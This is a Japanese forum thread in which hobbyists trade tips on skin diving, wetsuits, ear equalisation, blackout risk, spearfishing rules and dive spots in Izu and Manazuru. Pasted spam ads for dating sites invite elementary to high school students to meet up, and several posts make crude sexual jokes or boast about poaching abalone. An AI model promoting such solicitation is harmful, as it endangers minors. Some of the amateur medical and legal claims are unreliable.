海に入ってみて直立で浮く。力を抜き、普通に呼吸して（スノーケルで）、
フィンとか使わない状態で、目の位置に水面がくるのが適正ウエイト
って事になっている。

ちなみに俺自身の意見も尾何ーの回数が足らんと思う。

>>558
15％で沈む人はちょっと特殊じゃなかろうか？

>554-556
どうもありがとう。参考になりました。
Ｃ4を欲しい気持ちは変わらないけど、今回はガラ2000ＬＤにしようかと思います。
色々考えたんだけど、ロングの取り扱いに慣れてからカーボンに移行した方が
いいかも知れないと…
ちなみにフィンに詳しい方々、ＨＦとＬＤを較べると、どっちかと言えばＬＤの方が
脚力低くても使えるんでしょ？

さて、今日も今から海へ行って来まーす。

頻繁に息止めしてると、脳に酸素が行かずに記憶力が低下したりすることはないんでしょうか？
それとも失神しない程度の息止めでは、脳に障害をきたすような事はないんでしょうか。

もともと記憶力なんて俺には無いからなぁ。
低下しようったってこれより下がることはないだろうからなぁ。
よくわからんなぁ。

自慰の回数が足りないとは、、、逝ってきますｗ

脳に酸素がいかなかったら、とっくの昔に逝ってると思うがｗ

潜ってしまえば知らないうちに無理して息止めてたりするから体には良くないな。

俺30歳だけど3回は少ない？ガーン

無理して息止めるのはやめましょう。ﾎﾝﾄに逝っちゃうよ。
でも、息止めって体に悪いのだろうか？医者に聞いてみようかな。

ちなみに、俺は海で潜ると体の調子がよくなる。
耳はちょっとおかしくなるけど・・・

昨日暑かったからシャツで潜ってた。チョッとウエットよりふらふらする
底の方は寒いと感じたね
水面を丸い球(くらげ)が漂ってるのがよろしくないが

水面で静止した状態で体がスーと潮に流されていくのは潮の流れが速いのかね？
徐々にって程度だけど
沖向いてもって枯れたら肝つぶすけど、

大潮の日、港の外周のテトラを迂回していたらリップカレントにあっと
いう間に流された。横に逃げる暇もなく、まるで河の流れだった。
漁船のオヤジに救助されて後で特級酒を持って礼に逝くはめになったのはいうまでもない。
それ以来フィンはカレントに対抗できるのがいいなあと思うけどＣ４は噂に
聞くけど使いこなす自信なし・・・・・・・・・・・・・・・・

↑２ノットだの３ノットだので流れたらどんなフィン履いてても一緒だと思うヨ。
しょせん人間だからねぇ。たちうちできないねぇ。

水棲哺乳類ってすごいよね。
生まれ変わったらシャチになりたいな。
マイヨールも今頃イルカに転生してるかもね。

ちょっとスレ違いですが
NHKの23時からと24時15分の番組面白かった．
明日もあります．

今年から、スキン一生懸命やりたいんですが、
海で3点つけてただ潜ってても、漁師さんにおこられたりするの？
大阪南部から和歌山でスキンの練習にいい場所あればぜひ教えてください。
よろしくおねがいします。

この夏、生まれて初めてシュノーケルでちょっとだけ海にもぐって、
えらい感動しました。
たいそう綺麗な海にいって、岩場には魚がたくさん。

もっともっと、海の中の世界をしりたい。・・のですが、私、泳げません・・
足のつかないところでは、パニックになります。
でも、人間って泳げるようにできてるんだし、海に潜ってみたいので
泳げるように頑張ってみようと思ってます。

やっぱ、プールで練習しかないですか？
みなさんはどうしてそんなに泳げるのですか？練習したのですか？
わたし、クロールはできるけど立ち泳ぎとか出来ません。
まず最初に練習するのは、立ち泳ぎでしょうか？

３０Ｍももぐろうなんて思いません。
シュノーケル＋αができるようになれば・・
スクーバじゃなくて、シュノーケルでもぐるのがいいです。
この夏は頑張ろうとおもいます。
馬鹿な書き込みですみませんでした。

２行目から読んでないけどな。

↑とかいって最後の行まで読んでる
お　ち　ゃ　め　さ　ん　♪　〜

めんこめんこしてあげる（はーと

素潜りでのウエットスーツについて質問があります
他のダイビングのスレでダイビングにはダイビング専用じゃ
ないと気泡がへたってすぐ使えなくなるからサーフィンやＢＢ
用じゃだめだとか、男は黙って黒の６．５のフルオーダーに
限るとかいろんな意見があるようなのですが、先ほどＮＨＫの
番組ですごい映像を撮っていた英ＢＢＣのカメラクルーは
オニールのウエット着てたし、ダイブスポットに見学に行くと
おじ様達の黒のウエットはガバガバでほんとに保温性などあるの？
といったような光景を見るにつれ？？？？状態です

素潜りのウエットは動きやすいサーフやＢＢ用のウエットのほうが
向いてますよね？ご教授くださいませ

スクーバは運動量が少ないというか、スーツがつぶれる深いところでじっとしていることが多いから厚手の生地じゃないと寒いと思います。
で、そのスクーバ用のスーツで素潜りすると浮力がありすぎてやりにくい。
水面近くで泳ぎ回るだけならサーフィン用とかの方が良いと思いますよ。
私は３mmのスキンスーツを素潜り用に使ってます。スクーバの時はロクハンですけど。

泳ぎ回らないでガンガン潜るなら保温性の高いスーツが良いよ。
寒くなると息もたないし。

万一ブラックアウトした時に-5ｍくらいから上ならほぼ確実に水面へ
復帰できる厚手のウエットをお薦めしたいです。
-10ｍ程度までしか潜らないというのであれば、そこまでこだわる必要も
ないかも知れませんが、そんな浅いところへの往復でも無理気味の閉息を
すると、海面近くでＢＯする可能性が高くなるのでご注意。

>>577
海の方がプールより浮きやすいのは当然知ってるよね？
それにマスクの空気のおかげで頭はより浮きやすいし。
スノーケルを利用すれば何の辛さもなく呼吸できるはず。
普通程度の深さの呼吸ならね。
いくら海でも肺の空気を吐き切るような事をすれば、身体が沈んじゃうよ。
それと、立ち泳ぎだとかってそこまで気合を入れる必要もなし。
直立で浮いている状態でも、フィンを履いてるなら緩やかに脚を前後させてれば
軽々と姿勢を維持できる。

ボク、プールじゃ泳げませーん、って言ってる人が３点セットをつけるだけでいくらでも
海でスノーケリングしてるケースをいくつも知っている。案ずるより産むが易しだと思うよ。

と言いつつ溺れられても困るから、ビーチの足がぎりぎり着くくらいのところで試してから
にしてちょ。
がんがってね、ほんと楽しいから。

>>584
イイ人だ。(^^)

とりあえずマスクやスノーケル、フィン無しで泳げるようになった方が良いと思う。
というのも潮に流された時パニックになるから。でも深く考える必要は無し。自分のやり方でやれば良いと思う。

＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊
ダイバーは立ち入り禁止になりますた。
このスレは板の意思により諦めるまでこのコピペが
ｓａｇｅで張られます。
書き続ける限り憎しみの対象になります。
＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊

素モグリがダイバーなら、サーファーもダイバーだろうが、ぼけ。
毎日溺れて潜ってるんだろ？海ん中。おまえ、おまえのことだよ
　台　場　排　除　委　員　会

今年こそはフリーダイビング始めようとしている者です。
みなさんよろしくおねがいします

ダイバーなみなさんに聞きたい事が沢山有るのですが、まず、、
何十メートルか潜ると、視界が360度真っ青になって、
とても神秘的な体験をする。みたいなことをフリーダイバーの
HPで見かけるのですが、まさにそれを体験したくて
始めようと思ってます。その体験談とか聞いてみたいです。

当方、まだ海に潜った事は有りませんが
普段からプールとか通ってて、水の
中にいるのはすごい好きなんで、すごい楽しみです。
グランブルーは毎年一回定期的に鑑賞してます。
はやくもぐりたいぃ。

フリーダイブは根性いりますよ。
私はシュノーケリング＋スキンダイブがいいな
スクーバダイビングでも３６０度真っ青になる事がありますですけど、やっぱり素潜りがいいですか？

>581さん582さん583さん
アドバイスありがとうございました
とりあえず安いサーフ用のウエット買って、浅いところから
練習していきたいと思います

590>
やっぱ素潜りをしたいですねー。
根性は息こらえに必要なんですよね?
肌身で感じれるのがいいんです。あと、お金ないし。。
ちなみに何メートルぐらい潜るといいかんじになってくるのかな

んでスクーバとかはあんまり興味が湧きません。
登山で例えると、山道を歩かずに
一気に山頂までヘリで行ってしまうみたいな
イメージがあります。

うーん、漏れは20M着底してすぐあがってきても死ぬかと思うヘタレ
なので・・・・フリーダイブはきついだけとしか感じません、スマソ

>>592
スクーバだって４０ｍ過ぎると笑いが止まらなかったりして気持ちいいのに

>593
毎度、お答えしてくれてありがとう。
20メートル!
水面しか泳いだ事のない俺にとっては20でも未知の領域です。
自分の中では、素潜りに関して、
すばらしい情景のイメージばかり膨らんでて、
息苦しさとかまったく念頭にいれてないのですが、
やっぱ甘いでしょうか。
一応、家で息とめの練習はしてるんですけどね。
で今月中に初潜りする予定なんですけど、
一人で潜るのってきけんですかね。
同士がいないし、近くにクラブとかもないし。

>592
笑いがとまらないって一言に凄くひかれてしまいました。
食わず嫌いはだめですね。一度体験してみたくなりました。
資金が無いからまだ先になりそうですけど。

いわゆるフリーダイビング＝アプネアって
日本ではどこで出来るの？

20メートル潜ったってどうやって計ってるんだ
太陽が届く範囲で潜るのが水中きらきらして美しい
10メートル潜ってしばらく佇むと癒されるよ
そこから水面を眺めるとすばらしい、
魚は寄ってくる，キビナゴがよってくるんだ
カンパチ野郎から俺が守ってやってるんだ

>597
スクーバの合間のトレーニングだからダイコン持ってるんでしゅ

>笑いが止まらない
既に窒素でへろへろだと思われるｗ

ヘロヘロと言えば２週間前の台風きてた時！！
波に酔ってげろっぱー
魚がいぱーい集まってきたーYO

水中でちゃんと目が開けれて海水を飲み込まないように練習汁

普段めがねかけていたりプールでもゴーグル使ってる人はマスクが外れて視界がなくなるとパニックになる奴が多い。

素潜りもスクーバも両方とも楽しい！！！
素潜りで魚とか蛸との格闘とか、アワビやサザエ取ったり、違う意味ですっごい楽しい。
俺のスクーバ楽しみ方は、魚見たり深いとこ行ったりケーブ行ったりするのも楽しいけど、なんと言っても水中での浮遊感！！！！
透明度の良い海の中から水面を眺めながら自分の空気泡で遊ぶも良し、最高にトリップ感を満喫できる！！
ま、楽しみ方は人それぞれだと思うけどね。。

ＳＥＸＹ？
http://user.shikoku.ne.jp/tanu/bozo/

透明度5mの海で20m潜ってあたりを見回すと、真っ暗だった。
怖かった〜。何にも音がなくて、不思議な雰囲気はあったけど。

スクーバもそれなりに楽しいんだけどさ、特に楽しく感じるのは最初だけだったな、
自分的には。
お金かかる割にはって意味も含めてね。
スクーバの悪口を言いたいわけじゃないんだけど、ちょっと慣れるとスポーツ性を
感じなくなってきたんだよね。
たしかにダイビングを終えた後の疲労感はある。>601の書いていることも分かる。
だけどお前はどっちかしか選べないという事態に陥ってしまったら
迷わずスキンダイブを選ぶ。
今はもう完璧にスキンダイブのとりこになってしまった。この何年かスクーバは
全然やってない。
やはり装置を着けないってのが自分としてはいいんだろうな。

ためになりますねー。
潜ってなんぼだとは思いますが、同士のいないフリーダイバー
予備軍なひとにも最高なスレですねー。私も初潜りしたら
レポします。

ところで本土でビギナー向け(そんなものが有るのかどうか解りませんが)
な潜りスポットって何処でしょう?
中部地区在住です。

イセエビの触覚の音聞いたことある？
かまきりみたいにぎーぎーしてる

水中で聞えるか？

捕まえるとギュギュ言うよ。

フィン無し、水着ONLYで水深10mまで潜ると浮き上がって来れない、とか聞いたのですが
マジですか？

引退したお爺さん漁師フィンなしでゼンゼンいくよ、タバコもスパスパ。

手をつかえ

>>609
あんたが玄人なら別だが、素潜り素人なら10mもフィン無しで潜ると
息が上がってブラックアウトだろうよ。

コナン君は水中でもバリバリ潜ってます。

>>609
もし水深10メートルが水底って話なら問題なく上がってこられるよ。。素潜りならね。。
後、
>>612が言ってるブラックアウトの危険性も確かにあるよ。
体の中の酸素が足りなくなって気絶しちゃう・・・つまり、死が目の前・・・
お気をつけてね。。

ラーーーーーーナーーーーーーーー！！！！！ってね（笑）>>613

この前、耳抜きの仕方を教わって
初めて実践してみたんですが
「ﾌﾟﾁｭ〜」って音とともに
耳の中に水が入ってきました。
これが耳抜きなんでしょうか？

かれこれ３日ほど経ちますが
いまだによく聞こえません。

心配です。

そうだね

>>615は逆に吸い込んだ　に100ガンガゼ

吸い込んだら速攻で鼓膜が破れる　に100ウミウシ

>>615さん、気になるようなら耳鼻科に行きましょう。
耳抜きが原因で中耳炎になる人もいますよ。

俺も、足ひれとシュノーケルで、
海に潜りたいんですけど、
その時に、モリで魚を突きたいんです。
よく店で1000円とかで売ってるような物ではなくて、
飛び出しモリ？ていうんですか、50センチくらい前へ飛び出すモリ、
あれを、ネット上で安く売ってる店しりませんか？
水中銃の事ではありません。
あれは、免許がいるらしいので・・・
ヤフー競売で、検索しましたが、全くありませんでした。
前に、親戚の持ってるものでやったのですが、
20センチ位のヒラメとか40センチ位のスズキが、
突けたので、もう1回やってみたいです。

>619
免許もクソも…
いわゆる漁師でない者が使っていいのはヤスだけだよ。
ゴムがついてるヤツで魚を突いたら、その時点で「密漁」となる。
正しくは「漁業権の侵害」っていうんだけど。
その「50ｃｍくらい前へ飛び出すモリ」ってのも日本の海では
厳密には使用不可だと思うよ。
漁業権者に訴えられなきゃ罪にはならないわけだけど、
わざわざ危ない橋を渡らずともって気はする。

615はもう思い残す事は無い？もう手遅れだよ。あと１年も持たないよ。

俺はスピアガン使うけど、ややガタイがあって「公然」という感じでやって
いるから面と向かっては誰にも何も言われないよ。十分な（？）理論武装も
出来ているし、出るところに出て戦っても大丈夫という自信みたいなものが
ある。水中狩りは環境にも漁業にも一番影響の小さい魚の捕り方だよ。ちなみ
にゴムの力でシャフトが飛ぶタイプの銃に免許はない。気圧式のは違うんだ
ろうけど。って完全にスレ違いだね。

>>616
心配してくれてる？？

>>617
鼻つまんで「ふんっ」って吐くんでそ？

>>618
逝ってきます。

>>621
もうだめぽ。。。

>>620
魚をつくのに漁業権の侵害を持ち出すのなら根拠を述べてくれ
アワビ，イセエビ，海草等は漁業権だろけど、

都道府県条例の漁業調整規則にはその海域でやっていい漁法が定められていて
魚つきは認められる漁法に認定されてないので実は違法だと，認識してるが
だからオキアミのマキエも実は違法だと聞いたことあるような気がする

やっちゃいかんのやったら釣具や等でそんなの売らんとってほしい

>>619おまえもこんなとこで下らん質問せんでホントにほしけりゃ捜せるはずだぞ
要領悪いやつはこういう下らん質問するんだよな。

>624
うむ、すまん、漁業調整規則だな。
ただ、各県共通であることが多いのと面倒くさかったのではしょった書き方を
してしまった。確かに正確性に欠けたカキコだった。

しかし条例違反も立派な犯罪となり得るわけだからな。
無視すればやはり危ない橋を渡る事には違いあるまい。

>やっちゃいかんのやったら釣具や等でそんなの売らんとってほしい

一理あるが、その理屈が通れば時速100ｋｍ以上出せる自動車も
日本で売ってはいけないということになる。
奇々怪々な理屈がまかり通る国であるところが不思議なところだ。

＞＞しかし条例違反も立派な犯罪となり得るわけだからな。
無視すればやはり危ない橋を渡る事には違いあるまい

まったくそのとおり
シラスうなぎを素人が勝手にとっちゃ，新聞にでかでか名前が出るし
警察連行される｡これも漁業調整規則違反ということで。
シラスうなぎとアワビ，サザエはもう地域によっては希少さという点で
逆転してるから，密漁は厳しく行くべきだろね

児童買春も条例違反

だいたい素人が森や十もって、どれだけ魚をつけるの？
そうとう訓練や失敗を重ねないと、獲物にありつけないよ。
ふだんから素潜りの練習や息こらえの練習を積み重ねないと。
タバコ吸ってるような根性じゃ、タカッパ１匹突くことできないよ。

↑
その前にスレの流れを読め、う゛あか

>>619
魚突き関係の話題はこちらでもやっています。
魚突きはなぜ嫌われる？
http://sports.2ch.net/test/read.cgi/msports/994919888/l50

銛の通販をやっている業者
ttp://plaza8.mbn.or.jp/~sgun/index.html
ttp://www.navycompany.com/
ttp://kaizok.com/index.htm

>>627
魚によっては釣りより簡単に捕れるのもいるし、一概には言えないだろう？

西伊豆の素潜りポイント探してるんですけど
浮島、土肥、小土肥、堂ヶ島あたりで
一番ラクにちゃぷちゃぷ出来るとこ、教えていただけませんか？

子供連れで、しかも浮き輪使用なので、
波が少なく、浅めの所がいいです。
スポットというより、良い「磯」でもいいくらい。
良いところありませんでしょうか？

小笠原お天気祈願上げ

本職のあまさんは４５−５０秒しか潜ってないよ。３分でももつんだろうけど
頻回に素潜るならそれくらいの短時間でないとブラックアウトが怖いらしい。
本職でもそれくらい注意してるんだから、レジャーハンターならあまりいきがって
長時間獲物追っかけてるといつか逝っちゃうぞ

クラゲって出ます？
いつごろでます？
何処にでます？

>>634
クラゲは年中いるよ、刺されたくないならウェットとかボディースーツ
を着れば良い。

>>631
田子ダイバーの居る田子がお勧め。（まじ）

わかりました。田子に行きます。
なんか深くて沖のスポットしか見当たりませんけど
http://www.rgb-works.com/sealand/point/index.htm
きっと沿岸にもいいところがあるのでしょう。
ありがとうございました。＞６３６

・・・・ぶしつけながら、この地図だと、どの辺が特に適してますでしょうか？

ボディスーツとは何ですか？

ラッシュガードのことでは？

>638
ここの人たちが比較的親切だからと言って、なんでもかんでも質問すればいいって
もんじゃないだろ？

なんでもかんでもって何だよ。631じゃないぜ。

調べたらこんなんばっかだったんだっちゅうねん。
<http://www.google.co.jp/search?q=%E3%83%9C%E3%83%87%E3%82%A3%E3%82%B9%E3%83%BC%E3%83%84&ie=UTF-8&oe=UTF-8&hl=ja&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja>

ラッシュのことだということにしておこう。

>641
惜しかったね。
キーワードに「ダイビング」を追加してみなって。

http://kado7.ug.to/net/


朝までから騒ぎ！！
　　　小中高生
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　　　メル友
　　i/j/PC/対応

女性の子もたくさん来てね
　　小中高生大歓迎です　　　　　　　　　　　　　　　　　
全国デ−トスポット情報も有ります。
全国エステ＆ネイル情報あります。

　　激安携帯情報あります。

もお、いいよ。

やっぱ素潜りでしょ〜！

伊豆の海で素潜りしたいのですが
1 ：名無SEA ：02/08/08 09:01
どこかいいスポットありますか？

2 ：名無SEA ：02/08/08 09:12
ビーチで潜れるポイントならどこでも大丈夫だと思います。
東は川奈、富戸、伊豆海洋公園、菖蒲沢、西は大瀬崎、浮島など。
ちょっと遠いけど南伊豆の中木はおすすめです。
あそこまでいくとすごくきれいです。
現地サービスに問い合わせるといいですよ。
ポイントによっては単独での素潜りは禁止されてるところもありますから御注意あれ。

3 ：2 ：02/08/08 09:17
あ、ビーチってのはダイビングでビーチで潜れるポイントのことね。

すもぐらーの食生活は?
なにか気を付けている事とか有りますか?
例えば鉄分多めにとるとよさそうじやない?

>>646
南伊豆町の吉田なんてどうですか？
あそこは私のお気に入りポイントです。

伊豆の素潜り情報、ありがとうございました
先日出かけたのですが、あいにくの渋滞と天気で
小土肥の磯になってしまいました
少し物足りないかなーとも思いましたが、子供はずいぶん喜んでくれました
次回はぜひ、田子や中木、吉田などに出向いて見たいと思います
ありがとうございました

昨日、サザエの小さいのを取ってきたので、家で飼おうと思うのですが
サザエやアワビって何を食べるんでしょうか？

家で飼うぐらいならくっちまえ！

どうしても！ってんなら、餌はコンブだ（笑

台風来ていて海も荒れてるが、俺の気分の大荒れだ

昆布なんか食べるんですか、タニシサイズなので、大きくしてから
食べようかと思って。

>>650
増えるワカメを入れとけばOK!



なんてね、
本当は、そのサザエのいた周辺の海草、特に赤茶のべろ〜んとした
カジメ（地方名かも）が良いです。

そーいえば新聞にトコブシの養殖が始まったって出てたなぁ。
自然界とは違う海草を食わせるから、殻の色が変わってくるらしい。

昔、殻の色が途中から変わってるアワビ採ったけど、
あれはきっと放流モノなんだろうな。

サザエでも餌によって殻の色が変わるかも。
うまくやればカラフルサザエの出来上がり？

確実に変わるよ。

かわるね。

ここの住人さんでさ、今日のガラ2000LDの入札に参加した人いる？

伊豆じゃないけど、お薦めは真鶴半島の先端の三ツ石です。
あそこは駐車場からグロット顔負けの階段を降りなきゃいけないので、素潜り専用
ポイントで、従って東京近郊とは思えない位透明度が高く、魚も多いです。
水深３ｍ位の根にウミトサカがびっしり付いてるわ、キンチャクダイは泳いでるわ、
アジやタカベの群泳が見られる事もあるわで、１日潜ってても飽きないです。
おまけにウニも豊富で、その場で賞味を楽しんだりもできます。

>>658
三ツ石でやるなら引潮で流されないように注意しようね。

１度サラシに巻き込まれて氏にかけた事ある。
単独行は厳禁。

三ツ石って、どのあたりが危険？
やっぱり先端の方でしょうか。浜（ゴロタの）で泳ぐぶんには安全だよね。

基本的にみんな一人で潜ってんの？
誰かバディになってくんないかな。
一応一緒に潜る友人はいたんだけどさ、最近俺がより深みを目指すようになったら
付いて来てくれなくなっちゃった。
夏も終わりが近づいてきてるしさ。これからが海がきれいになる季節だって言うのに。

もともとスキンダイブ愛好者なんて多くないんだけど、こっちはとても田舎なもので、
ちょっと本格派（ｗ　を志すスキンダイバーの人口は極端に少ないんだよ。
近場でずいぶん探してみたけど全然見つからない。

ちなみに俺、島根半島界隈がホームなんで、
近辺にお住まいで俺と一緒に遊んでやってもいいぞって人はレス下さい。
俺もまだスキルないんで、中元、歳暮を欠かさなければ色々教えてやるぞって
方も大歓迎でございます。

ｱﾅﾙも使えるなら考えるが・・・

>>661
三ツ石の根元付近のゴロタは比較的安全。中程は沈み根が多く、魚影も濃い。
（ウミトサカ等があるのもこの辺）
先端部は相当に波が高く、ウネリも大きいので要注意。（右側→伊豆側より
左側→湘南側の方が荒れやすい）
これから９月にかけてがベストシーズンだし、今ならゴロタ近くの海の家で
シャワーとかも使えるので、行ってみては？
報告待ってます。

>>662
自分は大学時代の友人（海洋研系の潜水部出身で、ものすごくタフ）と
一緒に逝ってます。

ワープフィン　スキンに使ってるヤシいるのか？

http://s1p.net/qqwert

　携帯対応

男性より女性の書き込み多し
女性性65％男性35％割合です
穴場的サイトです。
幼い中高生直アポ直電
OL〜熟女迄の出会い
　聞ける穴場サイトです
　

水深1.2mのプールで毎日底に
ヘバリツイています　気持ちいいです
３回ほど水死体と間違われました

三ツ石は危ないよ。
半島先端特有の潮の早い流れがあるからな。
スクーバのダイバーなら流されても対応できるグッズを持ってたり
するが、スキンダイバーは持っていないのがほとんどだからな。
せめて折りたたんだビニールの浮き袋とウォータープルーフの袋
に入れた携帯電話くらい持って潜れ。

三ツ石はビーチは無理としても（本当にグロット以上の階段）ボートポイントとしては
悪くないと思うのに、真鶴近辺で三ツ石に潜るショップやサービスは皆無。なぜ？

お前を潜らせたくないからだよｳﾞｫｹ

三ツ石の透明度ってどのくらい？　
真鶴って透明度悪いイメージがあるんだけど、どうよ？

先端部で潮通しがいいだけあって、半島周りよりは透明度は高い。（１０ｍくらいか）
富戸と同じか、ちょい高め。

>>667
気持ちイイよね。
競技用の深くて水のキレイなプールでやると、すげーイイ。
仰向けでやると、吐いた息がぷくぷく水面に上がっていくのが面白い。

>>673
そうですね〜
私　市営プール(月額\4200)を利用してます

仰向けだと泡とかキラキラの光が見えて最高っす

やっぱ水深3m位は欲しいな

>>664
そうかなあ。結構波荒いと思うが。
ゴロタ石だから歩きにくくて転ぶヤツ、絶対いる。
まあ、先端に比べれば「比較的安全」って意味だよね。
今年は２回行ったが７月の末ですでにクラゲ大発生！
ほとんどがささないヤツだが、ツレはやられた。

>>668がいいこと言った！
というわけで真鶴、素人にはオススメできない（ｗ

ただいま大潮です、真鶴(三ツ石)の人流されて下さ〜い！
http://iwadive.aii.ne.jp/tide.html

三ツ石って釣り人がうざくないか？
そろそろワカシが回って来る時期だから釣り人がわんさと来るぞ。

みなさんちょっと教えてください。
きのうまで二日間、西伊豆の浮島でスノーケリングあんど素潜りをしてきました。（初体験）
耳抜きがうまくできなくて、５ｍ程度以上は耳が痛くて潜れませんでした。
初日、二日目とも､海から上がると、鼻から時々､水っぱなのような海水のようなものが
ポタボタ垂れる状態が続きました。
「副鼻腔に入り込んだ海水なのかな？」と思ってましたが、きょうになっても、どうもまだ､
鼻がすっきりしない感じでした。
で、相談というのは、さっき突然、鼻から、深緑色のサラッとした液体がタラタラと、かなり
大量に出てきてびびったのですが、こういう事って普通にあるのでしょうか？

涼しくなると普通に出るよ

>>678
過去レス読んどけ

＞＞679殿
それは普通の「青っぱな」では？
僕がさっき出した液体は、サラッとしてて、かつ濃い緑色で、今まで出したことのないタイプの
ものだったので、びびってるのです〜
きたないのでsage

だから涼しくなると普通に出るって

＞＞680
ああ。このスレの最初のころに出てる話題なんですね。「濃縮鼻水」ですか。
なるほど､失礼しました。

googleで検索して記事を探したところ、「潜水中に副鼻腔内で出血により圧力バランスが
取られる、という働きが起こった後、外出血（鼻血）せずに副鼻腔内に血液が滞留し、
その後膿状となって排出される。」という機序があるようですね。

漏れの場合は　白くてねとねとした液体が　ﾃｨﾑﾎﾟの先から出て来たぞ！

それも涼しくなると普通に出るって

汚い鼻水が出るのは、耳抜きがヘタなんじゃないか？
俺は汚い鼻水は出ないよ。
耳抜きを強くやりすぎて鼻管を痛めてるか、耳抜き不足で鼻管に負担を掛けてるのだろう。

「誕生日プレゼント何がいい？」と聞かれた。
「ダイブ時計欲しい」と答えた。

……オメガのシーマスターくれた。
もう、岩穴にがりがり手を突っ込んだり出来ないよ。

三ツ石情報ｻﾝｸｽです。
これはもう一度、じっくり潜ってみねば！階段がんばろう・・・。

素もぐりで時計するやつ初めてみつけた！

お前らの中で、昨日三ツ石に行った方いますか？
情報キボンヌ。

>>690
にゃろう。

素潜りでは水深と潜水時間はブラックアウト回避に最重要なくらいだぞ。
私なぞはマンボウ時計が現役です。

日曜日に真鶴の琴ヶ浜に初めて行ってきました。
透明度はそれほど悪くなく、青や黄色の熱帯魚系も少し
見られました。ウニもたくさんいますね。でもあの海藻
モサモサの景色はあきちゃうかも？

>でもあの海藻モサモサの景色はあきちゃうかも？
それはカジメ。
カジメが生えてるところにはサザエやアワビがｲﾊﾟｰｲ
魚だとメバルが多い。

Diveちゃんねる2
http://dive2ch.cjb.net/
台場の2ちゃん
ほれ台場

深度と難易度は比例計算だけでは無理があると思うんだよね。
20ｍが5ｍの4倍程度の難しさとは思えないし、10ｍの2倍程度とも思えない。
感覚的には深度にかかる水圧を乗じたくらいで比較すると適当な気がするんだけど。

なんでも数値化してみないと気がすまない自分の性格もどうかとは思うが。
まあ嗤ってくれ。

>>696
何が言いたいのかわからないが、難易度なら浅いほうが難しいよ。
水深が10m〜20mより水面〜5mの方が水圧の変化が大きいので、耳
抜きを何回もやらなければならないから。

>>697
-10mからエントリーしての-20m往復ならその通りかもしれないけど、
>>696が言ってるのは、0mからの難易度のことでしょ。（当然か）

-20ｍはスキンの知識と危険性、きちんとした道具と普通の体力があれば、誰でもいけると思うよ。
でもここまで。ここからさきは深いよ、たとえあと5ｍでも遠いっすよ-。
タバコやめたりプ-ル通ったり、適正ウエイトさぐったりと。とにかく本気にならないとダメ。
水温25度以上、透視度15ｍの海域での話しですけど。

鼻に水をいれると、アメーバで脳が溶けると聞き、出来なくなった。
以前は、長く潜る秘訣としていたのだが、、、。

>700
ゲットおめ
あれは川でしょ。
しかも免疫力が落ちている時だって話だし。

まあね、川もいずれ海に流れるわけだから絶対に安全かと言われると自信ないけど。

素潜りご苦労様
海で蛸つかまえましょう
素潜り野郎もデブ台場と同じ
こちらへどうぞ
http://dive2ch.cjb.net/

>>694
情報ありがとうございます。アワビ食べたいけど
採っちゃいけないんですよね？
今週末は、大瀬崎か初島に行こうと思ってますが
素潜らーは寂しい思いをせずに済みますでしょうか？

>>703
台風大丈夫？

初島はいったことないけど大瀬は寂しい思いをするとおもうよ。
湾内はつまらんが外海はおもしろい。これダイビングでの話し。
アワビは採っちゃいかん！うに性でたべなさい！
でも帰るときになると、おいらのクーラーボックスになぜかアワビが、、、、
琴が浜けっこう大きいのがいるんだよね〜。くれぐれもいっとくが、採っちゃダメ（ｗ

初島はダイビングでエントリーするあたりしか素潜りが出来なかったと思う。
今週は台風があるので伊豆あたりはやめたほうがいいと思われ。
きのうからクローズしてるダイビングサービスもあるからね〜。
素潜りしたい場所の近くのダイビングサービスのホームページを見れば、海況情報を掲載してるところがあるので利用するといいよ。

昨日南伊豆の田牛浜にいったのですが、波がひどくてとても潜れる状態ではなかったんだけど、西伊豆の方に場所を移動して車から
海をのぞいてみると静まりかえるように穏やかで、吃驚しました。さっそく潜って
カワハギやアイナメを捕ることができたのですが、台風の影響でどこもかしこも波が
あると思ってたのでもっと早く気がついていれば、と、後悔ばかりです。こういうこと
はよくある事なのでしょうか？またどうやってこういう場所を予測し、見つける
事ができるのでしょうか？だれか教えて下さい。

昨日南伊豆の田牛浜にいったのですが、波がひどくてとても潜れる状態ではなかったんだけど、西伊豆の方に場所を移動して車から
海をのぞいてみると静まりかえるように穏やかで、吃驚しました。さっそく潜って
カワハギやアイナメを捕ることができたのですが、台風の影響でどこもかしこも波が
あると思ってたのでもっと早く気がついていれば、と、後悔ばかりです。こういうこと
はよくある事なのでしょうか？またどうやってこういう場所を予測し、見つける
事ができるのでしょうか？だれか教えて下さい。

>>707
基本的に伊豆方面なら小笠原や沖縄以北に台風があるときは要注意。
波が少ない所は地形と風向きで予想するけど、最終的な判断は現地のダイビングサービスに電話するのが一番いい。
>>706のようにダイビングサービスのHPの海況情報を使うのもいい。
Googleで"海況情報"＆"調べたい地名"で検索してみ
海況情報 下田　　海況情報 大瀬崎　　海況情報 真鶴　　とかね。

>>709
親切にどうもありがとうございます。今度からそうしてみます。
助かりました！

東風がふくと伊豆半島の東側が、西風がふくと西側の海が荒れるよ。
昨日は南東の風だったのでしょうね。これからの時期、南東の風がふきやすいので西伊豆は潜りやすいよ。
10年ぐらい前、田牛でウミガメの産卵するとこ見たよ。水がきれいでいいとこだったけど、今はど-なんだろ？
ところで西伊豆のどこらへんで潜ったの？おせ-てちょうだい！

age

今　ＮＨＫ教育　関東では３チャンネル　ジャックマイヨール　千葉・館山に

やってます！！　　見て

明日かあさってに　いく予定なんですが
　江ノ島・横須賀　周辺で一番いいポイント教えてください。

江ノ島・横須賀周辺だったら何処も間違いないよ。
？

>>714
江ノ島・横須賀じゃ・・・いい話は聞かない。
久里浜から大島に高速船が出てるので大島にでも逝ってみれば。
http://www.tokyokyakusen.co.jp/

きょうは神奈川方面は台風の影響か全般的に透明度がよくないね。

15年ほど前にPADIでオープンウォータ取った時に、
素潜りの前にハイパーベンチレーションをやると
長くもぐれると、習いました。

その後店の雰囲気になじめずにスキューバはやめちゃった
んですが、今年になって久々にシュノーケリングやってみて
面白くて、今日このすれ見つけたんですが、ハイパー
ベンチレーションは危険だったんですね。

明日はやらないようにして、遊んできます。

>>714
私はちょくちょく江ノ島に素潜りにいきます。
スーツがあるので真冬だって行きますよ。
海底トンネルをくぐったり魚の餌付けなんかして遊んでます。
海草の中をかき分けながら進むのも楽しいですね〜♪
>>1さんと同じように私も素潜りの方が好きです。

江ノ島のイルカ親子はまだいるの？

江ノ島ってそんなに綺麗なんですか？　どのへんなんだろう？
